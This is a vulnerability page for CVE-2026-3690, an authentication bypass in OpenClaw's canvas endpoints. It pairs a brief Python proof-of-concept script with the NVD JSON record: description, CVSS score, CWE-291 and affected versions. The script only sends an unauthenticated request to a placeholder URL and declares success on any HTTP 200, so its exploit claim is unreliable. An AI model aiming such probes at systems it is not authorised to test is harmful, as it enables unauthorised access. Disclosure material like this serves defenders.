CVE-2026-3690

import requests # CVE-2026-3690 PoC: OpenClaw Canvas Authentication Bypass # Target configuration target_url = "http://target-ip:port/canvas/api/endpoint" def exploit(): headers = { "User-Agent": "Mozilla/5.0 (compatible; CVE-2026-3690-Scanner)", "Content-Type": "application/json" } print(f"[*] Attempting to bypass authentication on {target_url}...") try: # Sending request without authentication cookies/tokens response = requests.get(target_url, headers=headers, timeout=10) # Check if the request was successful (HTTP 200 OK) if response.status_code == 200: print("[+] Authentication bypass successful!") print(f"[+] Response data: {response.text[:200]}") else: print(f"[-] Failed to bypass. Status code: {response.status_code}") except requests.exceptions.RequestException as e: print(f"[-] Error occurred: {e}") if __name__ == "__main__": exploit()

{"cve": {"id": "CVE-2026-3690", "sourceIdentifier": "[email protected]", "published": "2026-04-11T01:16:15.990", "lastModified": "2026-04-27T17:09:55.803", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "OpenClaw Canvas Authentication Bypass Vulnerability. This vulnerability allows remote attackers to bypass authentication on affected installations of OpenClaw. Authentication is not required to exploit this vulnerability.\n\nThe specific flaw exists within the implementation of the the authentication function for canvas endpoints. The issue results from improper implementation of authentication. An attacker can leverage this vulnerability to bypass authentication on the system. Was ZDI-CAN-29311."}], "metrics": {"cvssMetricV30": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.0", "vectorString": "CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N", "baseScore": 7.4, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.2, "impactScore": 5.2}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-291"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:openclaw:openclaw:*:*:*:*:*:node.js:*:*", "versionEndExcluding": "2026.2.19", "matchCriteriaId": "539A1AE2-E6EC-4FC0-A794-28AA37D76D8E"}]}]}], "references": [{"url": "https://github.com/openclaw/openclaw/security/advisories/GHSA-vvjh-f6p9-5vcf", "source": "[email protected]", "tags": ["Third Party Advisory", "Exploit"]}, {"url": "https://www.zerodayinitiative.com/advisories/ZDI-26-228/", "source": "[email protected]", "tags": ["Third Party Advisory", "Exploit"]}]}}